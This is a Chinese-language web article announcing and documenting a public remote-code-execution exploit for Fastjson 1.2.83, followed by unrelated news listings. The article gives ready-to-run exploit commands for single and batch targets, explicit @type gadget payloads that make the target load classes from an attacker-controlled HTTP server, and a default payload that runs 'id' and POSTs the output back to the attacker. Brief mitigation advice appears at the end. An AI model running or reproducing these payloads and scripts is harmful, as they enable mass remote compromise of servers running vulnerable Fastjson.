【已复现】Fastjson 1.2.83 Gadget 黑名单失效--Fastjson 1.2.83 远程代码执行
前言这周安全圈最热闹的事莫过于Fastjson 1.2.83 RCE了。Fastjson 是阿里巴巴开源的一款高性能 Java JSON 解析库凭借出色的解析速度和简洁的 API 设计在国内 Java 生态中占据主导地位广泛应用于企业后端服务、微服务网关、数据接口层等核心业务场景。它支持将 Java 对象序列化为 JSON 字符串也可以将 JSON 字符串反序列化为 Java 对象被大量国内企业和开发者集成到各类 Web 应用、API 接口和中间件系统中堪称 Java 领域使用最广泛的 JSON 处理组件之一。也正因为它用得人多每一次 Fastjson 出问题都是一次全网排查级别的大事件。而这一次从研究员发推披露到完整 EXP 公开只用了三天。Fastjson 1.2.83getResourceAsStreamgadget RCE poc。poc支持jdk8、17、21和25自动尝试。支持批量对url进行poc验证。默认 payload 执行id并 POST 回攻击端/out用于确认命令执行结果。完整的可jdk高版本复现的公开exp诞生项目链接https://www.hacktwohub.com/6059.html快速使用单个 HTTP 目标scripts/http-test.sh 攻击端IP 攻击端HTTP端口 目标URL [接口路径]示例scripts/http-test.sh 172.20.10.2 19090 http://10.0.0.8:8080 /parse脚本会自动尝试jdk8-httpfd成功时输出类似[] fd: ID-OOB OK [] OOB POST /out from target_ip uid0(root) gid0(root) groups0(root)批量 HTTP 目标urls.txt每行一个完整接口http://10.0.0.8:8080/parse http://10.0.0.9:8080/api/json运行scripts/batch-http-test.sh 172.20.10.2 19090 urls.txt也可以每行写服务根地址统一追加接口路径http://10.0.0.8:8080 http://10.0.0.9:8080scripts/batch-http-test.sh 172.20.10.2 19090 hosts.txt /parse批量结果会输出到/tmp/fastjson-batch-*/results.jsonl完整日志在同目录下。Docker 本地验证本地启动多个 JDK 靶场容器并通过 HTTP 打/parseHOST_IP192.168.65.254 JDKS8 17 21 25 ./scripts/test-jdks.shDocker Desktop 上HOST_IP通常是192.168.65.254如果不通换成容器能访问宿主机的 IP。手动构建 Payloadbash scripts/build.sh 攻击端IP 攻击端HTTP端口 id-oob 模式示例bash scripts/build.sh 172.20.10.2 19090 id-oob fd python3 -u poc/exploit.py 172.20.10.2 19090 http://10.0.0.8:8080 /parse --mode fd --once --wait 20模式jdk8-httpfd漏洞原理Fastjson 1.2.83 在 ParserConfig.checkAutoType 中会根据 type 拼接 class resource String resource typeName.replace(., /) .class; is defaultClassLoader.getResourceAsStream(resource);因此特殊type可以被转换成远程资源 URL。目标 ClassLoader 若支持 URL resource便可能请求攻击端 HTTP server 并加载带JSONType的 class。触发过程攻击者发送包含特殊type的 JSON。Fastjson 把.替换成/进入getResourceAsStream探测。目标请求攻击端 HTTP server 下载 class/JAR。JSONType影响 AutoType 判定路径。命中loadClass/ 实例化后执行恶意 class 的clinit。IPv4 会转成十进制格式例如192.168.65.254 - 3232252414这样可以避免 IP 里的.被替换成/。JDK 版本区别模式适用场景行为本机结果jdk8-httpJDK8 Spring Boot 2 FatJar直接拉取/a.class并加载JDK 8u492 成功fdJDK17/21 Spring Boot 3 FatJar先拉取/probe再枚举/proc/self/fd/N加载 JAR 内 classJDK 17.0.19、21.0.11 成功fdJDK25 Spring Boot 3 FatJar可拉取/probe但未收到命令回显JDK 25.0.3 未成功JDK8 短链使用{type:http:..3232252414:19090.a}转换后http://192.168.65.254:19090/a.classJDK17/21 FD 链使用[ {type:jar:http:..3232252414:19090.probe!.foo.Exception}, {type:jar:file:.proc.self.fd.3!.fd3.Exception}, {type:jar:file:.proc.self.fd.4!.fd4.Exception} ]转换后jar:http://192.168.65.254:19090/probe!/foo/Exception.class jar:file:/proc/self/fd/N!/fdN/Exception.class只看到/probe或/a.class请求只能说明目标能访问攻击端资源不代表 RCE 成功以/out的uid/gid回传为准。影响条件Fastjson 1.2.83未启用-Dfastjson.parser.safeModetrue服务端解析不可信 JSON 中的type目标 ClassLoader 支持对应 resource 加载路径目标能访问攻击端 HTTP server防护启用 SafeMode-Dfastjson.parser.safeModetrue升级到 fastjson2禁止不可信 JSON 使用type限制业务 JVM 出网审计 FatJar/ClassLoader 对远程 URL resource 的解析行为

相关新闻

Tiva™微控制器定时器GPTM深度解析:从原理到PWM、RTC实战应用

Tiva™微控制器定时器GPTM深度解析:从原理到PWM、RTC实战应用

1. 微控制器定时器:嵌入式系统的“心跳”与“节拍器”在嵌入式系统的世界里,如果说CPU是大脑,负责思考和决策,那么定时器就是心脏和节拍器,为整个系统提供稳定、精确的时间基准和事件驱动源。无论是让一个LED灯以1秒的…

2026/7/23 12:58:07 阅读更多 →
中小企业GEO轻量化方案:低成本高回报的实战路径

中小企业GEO轻量化方案:低成本高回报的实战路径

引言 预算有限的中小企业,如何用10万元实现GEO(生成式引擎优化)的初步落地?本文基于迪普智见(DeepIntelli)的实战经验,提供一套轻量化方案,涵盖工具选择、关键词策略、社媒利用和预…

2026/7/23 12:57:19 阅读更多 →
真空共晶炉与真空甲酸炉:多工位批量钎焊工艺的精密化演进

真空共晶炉与真空甲酸炉:多工位批量钎焊工艺的精密化演进

一、技术背景 随着半导体功率器件、光电器件及MEMS传感器向高集成度、高可靠性方向发展,承接多工位批量器件钎焊加工的代工企业与半导体工艺外包企业对真空钎焊设备的工艺精度与批量一致性提出了严苛要求。传统气氛保护炉在氧含量控制、助焊剂残留处理及多工位温度均…

2026/7/22 10:29:43 阅读更多 →

最新新闻

Stable Diffusion提示词反推到底有多难?揭秘Top 5反推工具实测数据与失效场景避坑指南

Stable Diffusion提示词反推到底有多难?揭秘Top 5反推工具实测数据与失效场景避坑指南

更多请点击: https://intelliparadigm.com 第一章:Stable Diffusion提示词反推到底有多难?揭秘Top 5反推工具实测数据与失效场景避坑指南 提示词反推(Prompt Inversion / Prompt Recovery)并非简单逆向解码&#xff0…

2026/7/23 12:58:17 阅读更多 →
如何用LT3724EFE#TRPBF设计60V输入电源?降压/升压/SEPIC拓扑选择与设计要点

如何用LT3724EFE#TRPBF设计60V输入电源?降压/升压/SEPIC拓扑选择与设计要点

LT3724EFE#TRPBF:ADI 60V高压电流模式开关稳压控制器深度解析在工业配电、汽车电子以及分布式电源系统等需要处理较高电压输入的应用中,系统设计往往需要在控制器的高压耐受能力、拓扑灵活性和轻载效率之间进行综合权衡。亚德诺半导体(Analog…

2026/7/23 12:58:17 阅读更多 →
GLM-5架构解析:从代码补全到智能体工程的演进

GLM-5架构解析:从代码补全到智能体工程的演进

1. GLM-5技术架构解析:从氛围编程到智能体工程的进化路径GLM-5作为新一代大规模预训练模型,其技术架构的革新主要体现在训练范式的转变上。与传统的端到端训练不同,GLM-5采用了三阶段渐进式训练策略:1.1 预训练阶段的代码优先策略…

2026/7/23 12:58:17 阅读更多 →
CSS图标错位问题分析与transform定位解决方案

CSS图标错位问题分析与transform定位解决方案

1. 问题现象与背景分析 最近在开发一个CS(客户端-服务器)应用时,遇到了一个让人抓狂的UI问题:界面上的图标位置频繁出现错位。具体表现为: 设计时完美对齐的图标,运行时却偏移了几个像素 不同分辨率下错位…

2026/7/23 12:58:17 阅读更多 →
AI内容检测与降AI率工具实战测评

AI内容检测与降AI率工具实战测评

1. 项目背景与核心痛点凌晨三点的显示器蓝光打在脸上,文档右下角的字数统计显示"4872/5000",但最让人揪心的是那个刺眼的红色百分比——"AI率78%"。这可能是每个内容创作者都经历过的噩梦时刻。交稿截止前12小时,当检测工…

2026/7/23 12:58:17 阅读更多 →
为什么不同的编译器(Keil/IAR/GCC)启动文件不一样?

为什么不同的编译器(Keil/IAR/GCC)启动文件不一样?

难度:★★ 本文首发于我的嵌入式技术公众号「OneChan」,未经授权禁止转载。 如果你同时用过 Keil、IAR 和 GCC 开发 Cortex-M3,一定被一件事折磨过: 同一个芯片,三个编译器的启动文件长得完全不一样。 Keil 的是 startup_stm32f10x_md.s,里面一堆 AREA、EXPORT、DCD。 …

2026/7/23 12:57:16 阅读更多 →

日新闻

从单点好评到指数级传播:AI副业主理人必须掌握的4层口碑渗透模型(含ROI测算表)

从单点好评到指数级传播:AI副业主理人必须掌握的4层口碑渗透模型(含ROI测算表)

更多请点击: https://intelliparadigm.com 第一章:从单点好评到指数级传播:AI副业主理人必须掌握的4层口碑渗透模型(含ROI测算表) 当AI副业主理人不再仅满足于单次服务交付,而是主动构建可复用、可裂变、可…

2026/7/23 0:00:25 阅读更多 →
AI写作开头钩子设计:为什么你的AI文案完读率不足18%?——基于2,346篇A/B测试报告的归因分析

AI写作开头钩子设计:为什么你的AI文案完读率不足18%?——基于2,346篇A/B测试报告的归因分析

更多请点击: https://codechina.net 第一章:AI写作开头钩子设计:为什么你的AI文案完读率不足18%?——基于2,346篇A/B测试报告的归因分析 在对2,346篇跨行业AI生成文案的A/B测试数据进行聚类分析后,我们发现&#xff1…

2026/7/23 0:01:26 阅读更多 →
Chitchatter完整指南:免费开源的终极点对点安全聊天工具

Chitchatter完整指南:免费开源的终极点对点安全聊天工具

Chitchatter完整指南:免费开源的终极点对点安全聊天工具 【免费下载链接】chitchatter Secure peer-to-peer chat that is serverless, decentralized, and ephemeral 项目地址: https://gitcode.com/gh_mirrors/ch/chitchatter Chitchatter是一款革命性的安…

2026/7/23 0:01:26 阅读更多 →

周新闻

Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/22 8:58:19 阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/22 19:43:43 阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/22 12:54:44 阅读更多 →

月新闻